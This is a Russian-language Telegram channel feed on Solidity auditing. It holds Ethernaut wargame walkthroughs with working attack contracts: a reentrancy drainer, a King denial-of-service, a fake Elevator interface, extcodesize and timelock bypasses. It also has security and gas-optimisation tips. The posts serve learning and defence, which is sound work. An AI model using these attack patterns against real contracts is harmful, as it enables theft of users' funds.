Solidity. Смарт контракты и аудит – Telegram
Solidity. Смарт контракты и аудит
2.62K subscribers
246 photos
7 videos
18 files
547 links
Обучение Solidity. Уроки, аудит, разбор кода и популярных сервисов
Download Telegram
Ethernaut. Задача 9. King

В этой задаче нам предлагают, как я понял, сломать логику игры, чтобы мы остались последним королем.
Ссылка на задачу

В чем суть?

Здесь секрет кроется в king.transfer(msg.value), т.е. в одной транзакции отправляются деньги королю, и только потом идет обновление переменных короля и баланса.

Сделав так, чтобы можно было отправить деньги на контракт, но не получить выигрыш, мы фактически заблокируем его.

Решением было бы разделить эту логику и позволить текущему королю выводить деньги вручную.

Простой код для этого:

contract Hack {
    function hack( address _king) external payable {
      _king.call{value:msg.value}("");
    }
}

Я думал, что можно решить эту задачу с selfdestruct, как в одном из примеров выше, но это не сработало. Деньги то не балансе контракта King появились, а вот переменная prize не обновилась. А все потому, что мы закинули деньги без вызова каких-либо функций, поэтому receive не сработала.

#ethernaut
Ethernaut. Задача 10. Reentrancy

В этой задаче нам предлагают украсть все деньги с контракта.
Ссылка на задачу

В чем суть?

С Reentrancy мы знакомы уже очень давно. Обнаружить его в контракте достаточно просто: нужно посмотреть в какой момент обнуляется баланс снимающего деньги. Если он идет после отправки денег, то это и есть потенциальная уязвимость, как в данном примере в функции withdraw.

Опять же привожу пример кода, который сработал у меня:

contract Hack {
   
    uint constant BID = 0.1 ether;
    Reentrance hack;

    constructor(address payable _hack) {
        hack = Reentrance(_hack);
    }

    function donateTo() external payable{
      address(hack).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
    }

    function attack() public {
      address(hack).call(abi.encodeWithSignature("withdraw(uint256)", BID));
    }

    receive() external payable {
        if(address(hack).balance >= BID) {
            attack();
        }
    }
}

В сети я встретил и другие примеры, но все они сходились к одному: сделать первоначальный взнос, а потом через цикл снять деньги с контракта.

Reentrancy одна из самых популярных атак в блокчейне, поэтому важно следить за своим кодом и обнулять баланс прежде, чем отправлять его пользователю.


#ethernaut
👍2
Подсказки по безопасности - 2

Неконтролируемое значение return в функциях transfer и transferFrom.

Выполнение функций ERC20 не всегда последовательное. Некоторые исполнения transfer / transferFrom могут вернуть false на неуспешную транзакцию вместо отката (revert). Поэтому его обязательно нужно обрабатывать в require().

Также нужно следить и за true в return, как это рекомендует сам стандарт. В некоторых случаях, вызов transfer() будет revert, даже если транзакция пройдет успешно. Это случается потому, что Solidity проверяет RETURNDATASIZE на соответствие интерфейсу ERC20.

Рекомендация. Проверяйте значение return / revert на 0 / false / true или используйте SafeERC20 от OpenZeppelin.


#security #tip #st
👍1
Подсказки по безопасности - 3

Отсутствие процедуры проверки ввода значений.

В своих функциях желательно проверять, что:

- uint больше 0;
- uint имеет ограничения;
- int не может иметь отрицательное значение;
- длина массива должна совпадать, когда он передается как аргумент;
- адрес не должен быть 0х0;

#security #tip #st
Ethernaut. Задача 11. Elevator

В этой задаче нам предлагают достичь последнего этажа.
Ссылка на задачу

В чем суть?

Признаться честно, я вообще не понял ни сути этой задачи, ни цели обучения, ни решения. Поэтому решение для нее было просто взято из поиска.

contract Hack {
Elevator challenge;

constructor (address _challenge) public {
challenge = Elevator(_challenge);
}
uint256 timesCalled;

function attack() external payable {
challenge.goTo(0);
}

function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}

Да, я посмотрел и другие решение, но все равно очень странная задача. Возможно, вернусь к ней еще раз немного позже.


!!! Комментарий от участника Nekto проливает свет на эту задачу:

Логика контракта (Elevator) рассчитывает, что этот контракт будет вызываться из контракта Building в котором есть частичка логики и эта логика (в Building) запрещает нам подняться на последний этаж в Elevator

Мы создаем другой контракт, похожий по интерфейсу на контракт Building и в поддельном контракте меняем логику, от которой зависит контракт Elevator и попадаем на последний этаж.

Короче не рассчитывайте на логику в других контрактах без дополнительных мер предосторожности.

#ethernaut
👍1
Ethernaut. Задача 12. Privacy

В этой задаче нам нужно получить доступ к ключу в массиве data.
Ссылка на задачу

В чем суть?

Мне нравятся такие задачи на работу с памятью. Этот пример очень похож на один из предыдущих - Vault, но с большим количеством переменных.

Тут нужно знать несколько моментов о работе с памятью. Пройдемся по переменным в задаче.

bool public locked - булевы переменные в Solidity занимают весь слот памяти в 32 байта.

uint256 public ID - 256 и есть те же 32 байта, поэтому занимается еще один целый слот памяти.

Далее немного интереснее. Тут сразу три переменные (uint8 private flattening, uint8 private denomination, uint16 private awkwardness) занимают весь слот на 32 байта. Это происходит потому, что они идут друг за другом.

Если, например, один unit8 лежал бы где-нибудь после массива, то в слот поместились бы только один uin8 и uint16, которые находятся вместе. Поэтому при написании смарт контрактов, вам стоит обращать на это внимание и располагать небольшие переменные рядом друг с другом.

Затем идет нужный нам массив с фиксированной длиной bytes32[3] private data. Из функции unlock() нам становится понятно, что ключ лежит в последнем значении массива.

Если разбить все по слотам памяти, то получается:

bool public locked - 0 слот;
uint256 public ID - 1 слот;
uint8 private flattening, uint8 private denomination, uint16 private awkwardness - 2 слот;
1 элемент массива data - 3 слот;
2 элемент массива data - 4 слот;
3 элемент массива data - 5 слот;

А дальше, все как в примере с Vault: разворачиваем контракт в hardhat и достаем значение из 5 слота при помощи ethers.provider.getStorageAt().

#ethernaut
👍1
Подсказки по безопасности - 4

Использовать фиксированные лимиты газа не рекомендуется.

Так как цена на газ постоянно меняется, особенно в период высокой волатильности криптовалют, лучше не указывать жесткие лимиты на газ в своем контракте.

В случае резкого повышения цены, есть большая вероятность, что транзакции не будут выполнены.

#security #tip #st
👍1
Подсказки по безопасности - 5

Оценивайте все токены прежде, чем начнете работать с ними в контракте.

Например, в ERC777 есть callback функция, которая может позволить хакеру выполнить вредоносный код во время проведения транзакции.

#security #tip #st
👍1
Подсказки по безопасности - 6

Pragma и версии Solidity.

Использование последних версий Solidity позволяет избегать ошибок и багов, которые встречались в более ранних версиях.

Также нужно обращать внимание на то, чтобы все контракты, которые связаны друг с другом, работали с одной и той же версией языка.

При деплое смарт контрактов рекомендуется блокировать версию pragma (убирать значок ^), для избегания загрузки не правильным компилятором (выше или ниже версии вашего контракта).

#security #tip #st
👍1
Подсказки по безопасности - 7

Не защищенная withdraw() функция (external \ public) может позволить злоумышленникам переводить деньги и токены с вашего контракта.

#security #tip #st
👍1
Ethernaut. Задача 14. Gatekeeper 2

Отступление. Чем больше я разбираю задачи, тем яснее понимаю, что еще многого не знаю. Поэтому некоторые задачи я сейчас пропущу и вернусь к ним, как пройду остальные. Например, с gatekeeper 1 я вчера долго возился, разобрал, но не понял как объяснить ее, и значит "не понял".

Но вернемся к Gatekeeper 2.

В этой задаче нам нужно пройти через все проверки, чтобы наш адрес записался в переменную entrant.
Ссылка на задачу

В чем суть?

Первые два модификатора пройти достаточно просто. GateOne - сделан по примеру задачи Telephone, а gateTwo, с его "ужасным" assembly {x := extcodesize(caller())} - просит, чтобы байткод нашего контракта был равен 0, что бывает в том случае, если там нет никаких функций. Кстати, на extcodesize нельзя полагаться в вопросе безопасности! Не делайте так!

С обоими "воротами" мы можем справиться, вызвав constructor в нашем контракте на GatekeeperTwo.

С третьими воротами сложнее.

Требуется выполнить равенство:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1

Т.е. мы берем адрес вызывающего функцию, кодируем, получаем хеш через keccac256, потом берем первые 8 байтов. Все это оборачиваем в uint64 и... Приводим к равенству.

Но, что обозначает эта каретка "^". И тут, если не знаешь, то не пройдешь дальше.

А означает она - XOR, или сложение по модулю 2, или исключающее "или". Звучит замысловато, но по сути это побитовое сложение, когда отдельные разряды складываются независимо от других. Например, у нас есть такой порядок бит:

010101

И нужно сложить его с этим

101101

У нас получится:

111000

т.е. "1+1"= 0, "1+0"=1, "0+0"=0.

Самое интересное, что, если мы сложим результат, например со вторым значением, то получим первое. Это мы и должны использовать в задаче.

Получается, что:

uint64(_gateKey) будет равен

uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1

Отсюда мы можем получить итоговый контракт для взлома:

contract Hack {
constructor (GatekeeperTwo _gates ) {
bytes8 key;
unchecked {
key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1);
}
_gates.enter(key);
}
}

P.S. unchecked нужен для Solidity 0.8, для защиты от overflow в uint64(0) - 1.

Задача может показаться сложной, если не знаешь про эти побитовые операции. А сколько людей вообще про них знает?!

#ethernaut
1
Логические побитовые операции

Я встречал уже несколько примеров с побитовым кодом, поэтому решил сделать небольшой пост об этом. Возможно, кому-то он тоже будет полезен.

Побитовое И - символ &

Побитовое И используется для выключения битов. Любой бит, установленный в 0, вызывает установку соответствующего бита результата также в 0.

11001010
11100010
11000010

Побитовое ИЛИ - символ |

Побитовое ИЛИ используется для включения битов. Любой бит, установленный в 1, вызывает установку соответствующего бита результата также в 1.

11001010
11100010
11101010

Побитовое НЕ - символ ~

Побитовое НЕ инвертирует состояние каждого бита исходной переменной.

11001010
00110101

Побитовое исключающее ИЛИ - символ ^

Исключающее ИЛИ устанавливает значение бита результата в 1, если значения в соответствующих битах исходных переменных различны.

11001010
11100010
00101000

Побитовые сдвиги

Операторы сдвига  <<  и  >>  сдвигают биты в переменной влево или вправо на указанное число. При этом на освободившиеся позиции устанавливаются нули (кроме сдвига вправо отрицательного числа, в этом случае на свободные позиции устанавливаются единицы, так как числа представляются в двоичном дополнительном коде и необходимо поддерживать знаковый бит).

Сдвиг влево может применяться для умножения числа на два, сдвиг вправо — для деления.

x = 7         // 00000111 (7)
x = x >> 1    // 00000011 (3)
x = x << 1    // 00000110 (6)
x = x << 5    // 11000000 (-64)
x = x >> 2    // 11110000 (-16)

#побитовые #бит #операции #сдвиг #xor
Ethernaut. Задача 15. Naught Coin

В этой задаче нам нужно вывести все токены со своего баланса.
Ссылка на задачу

В чем суть?

Задача не столько про кодинг, сколько про знание стандарта ERC20. При том, что на функцию transfer() стоит защита по времени в виде модификатора, все равно нам доступны и другие функции контракта ERC20.

В Ремиксе это можно увидеть, сделав деплой. Поэтому нам достаточно вызвать функцию approve() и затем transferFrom() для решения данной задачи. Краткая функция взлома может выглядеть так:

function hack() external{
balance = challenge.balanceOf(myAdd);
challenge.approve(myAdd, balance);
challenge.transferFrom(myAdd, otherAdd, balance);
}

где challenge это объект контракта.

При взломе контрактов, которые используют различные стандарты, сначала нужно изучить сам стандарт, чтобы понять все возможности для транзакций.

#ethernaut
👍1
Ethernaut. Задача 17. Recovery

В этой задаче нам нужно вывести все токены контракта, который был создан, и чей адрес не записан. Другими словами нам нужно восстановить потерянный адрес сгенерированного контракта.
Ссылка на задачу

В чем суть?

Код задачи простой: по сути, нам нужно восстановить адрес и потом вызвать selfdestruct(), чтобы вернуть деньги. Все умещается в одной функции.

Давайте лучше поговорим, как генерируется адрес контракта, чтобы можно было решать подобные задачи в будущем.

Мы не будем углубляться в EVM и его процессы, а разберем базу для задачи.

Итак, есть два способы генерации адреса: старый и новый. Начнем с первого.

В старом способе генерация адреса контракта происходила с помощью данных о номере транзакции / количестве созданный контрактов из Фабрики (nonce) и адресе вызывающего. Также нам потребуется знать, что такое RLP.

Целью RLP (RECURSIVE-LENGTH PREFIX) является кодирование произвольно вложенных массивов двоичных данных. Это основной метод кодирования, используемый для сериализации объектов на исполнительном уровне Ethereum. Подробнее про него можно прочитать тут.

В случае 20 битового адреса RLP будет 0хd6 и 0х94.
Также, в задаче это был первый созданный контракт, поэтому nonce будет равен 1.

Код в Solidity выглядел так:

bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)

Все это нам нужно будет перевести в байткод, затем в хеш => uint265 =>uint160, отсюда получим адрес:

address lostContract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01))))));

Второй способ генерации адреса связан с opcode Create2, предложенный Виталиком Бутериным (EIP-1014).

Create2 использует другую формулу для генерации:

keccak256( 0xff ++ address ++ salt ++ keccak256(init_code))[12:]

где:

address — адрес смарт-контракта, который будет вызывать CREATE2;
salt — случайное значение;
init_code — байт-код смарт-контракта для развертывания;

Таким образом гарантируется, что адрес, который мы предоставляем пользователю, действительно будет содержать желаемый байт-код.

Функция может выглядеть так:

function getAddress(bytes memory bytecode, uint _salt)
public view returns (address)
{
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
);
return address(uint160(uint(hash)));
}

Полный пример с кодом можно посмотреть тут.

Я много гуглил по работе EVM и RLP, и мне стоило больших усилий понять, как это работает. Если вы захотите, после всех тем по безопасности, я могу написать отдельный пост про генерацию адресов с разбором RLP.

#ethernaut #generation #address #creat2
Подсказки по безопасности - 8

С помощью extcodesize мы можем проверить, кто делает вызов функции в нашем контракте: внешний контракт или пользователь. Однако, эту систему можно обмануть, создав пустой контракт с вызовом нужной функции в его конструкторе.

contract OnlyForEOA { ... function setFlag()...}

contract FakeEOA {
    constructor(address _a) public {
        OnlyForEOA c = OnlyForEOA(_a);
        c.setFlag(1);
    }
}

В этом случае, хоть вызов будет идти из внешнего контракта, в нашем контракте будет отображаться его пользователь (tx.origin).

#security #tip #st
Подсказки по безопасности - 9

Удаление struct в котором есть mapping, не удаляет сам mapping. Это может быть использовано против вас.

struct BalancesStruct{
  address owner;
  mapping(address => uint) balances;
}
mapping(address => BalancesStruct) public stackBalance;

function remove() internal{
  delete stackBalance[msg.sender];
}

В этом случае лучше использовать закрытие struct(lock), а не его удаление.

#security #tip #st
Оптимизация газа - 1

Компилятор Solidity считывает и выполняет функции по их селектору. Селектор, как мы знаем, располагается в первых четырех байтах сигнатуры функции из хеша kessac256. Например:

function tryThis(uint256 _value, string[] memory _names) external {}

В этом случае:

Сигнатура функции - tryThis(uint256,string[]);
Селектор функции - keccak256(signature) = 0x7f6ca090;

Компилятор Solidity располагает все функции в контракте по их селектору (в порядке hexadecimal) и проходит по каждой из них в тот момент, когда вызвана какая-либо из них. Проход по всем функциям в контракте стоит 22 газа.

Приведем к примеру такие функции:

red() => 2930cf24
white() => a0811074
yellow() => be9faf13
blue() => ed18f0a7
purple() => ed44cd44
green() => f2f1e132

Вызов green() будет стоит на 110 газа больше, чем вызов red(), только потому что она ниже.

Если вы наперед знаете, что какая-либо функция в вашем контракте будет вызываться чаще остальных, то старайтесь располагать ее выше остальных в контракте.

#gas #optimization #hint
🔥3
Оптимизация газа - 2

Если взглянуть на таблицу стоимости газа, то мы заметим, что вызов переменной в первый раз стоит нам 2100 газа, а во второй - уже 100 газа. Эта разница может стать проблемой, особенно, когда мы работаем с динамическими массивами в циклах. Посмотрите на второй пример на скрине.

Работая с данными внутри функции стоит намного меньше газа, даже с учетом того, что добавились новые строчки кода. В данном примере мы экономим почти 2000 газа!

#gas #optimization #hint
🔥2
Оптимизация газа - 3

Изменение значения с "0" до любого-другого в сети Эфира стоит 20 000 газа (Gsset), в то время как обнуление значения может возвращает часть газа на баланс (Rsclear). Тут важно отметить, что вернуть можно только 20% от стоимости транзакции, которая превышает 24 000 газа.

Пример 1

У Алисы 10 токенов, а у Боба 0 токенов. Алиса пересылает 5 токенов Бобу. Таким образом баланс Алисы меняется с 10 токенов до 5, а у Боба с 0 до 5. Итого:

У Алисы - 5000 газа + у Боба - 20 000 газа. Всего 25 000 газа за транзакцию.

Пример 2

У Алисы 10 токенов, у Боба - 0. Алиса пересылает все 10 токенов Бобу, и ее баланс обнуляется. Получается:

У Алисы - 5000 газа + у Боба 20 000 газа = 25 000 газа. При этом Алисе вернут 4 800 газа обратно. Итого транзакция у нас выйдет в 20 200 газа.

Очевидно, что второй пример позволяет нам сэкономить немного газа, который может быть потрачен на другие операции в контракте.

#gas #optimization #hint
Оптимизация газа - 4

Хранение данных в calldata всегда стоит меньше газа, чем хранение в memory. Это с учетом того, что вы будете просто считывать данные в calldata, а не изменять их. Во втором случае, memory более разумный выбор.

#gas #optimization #hint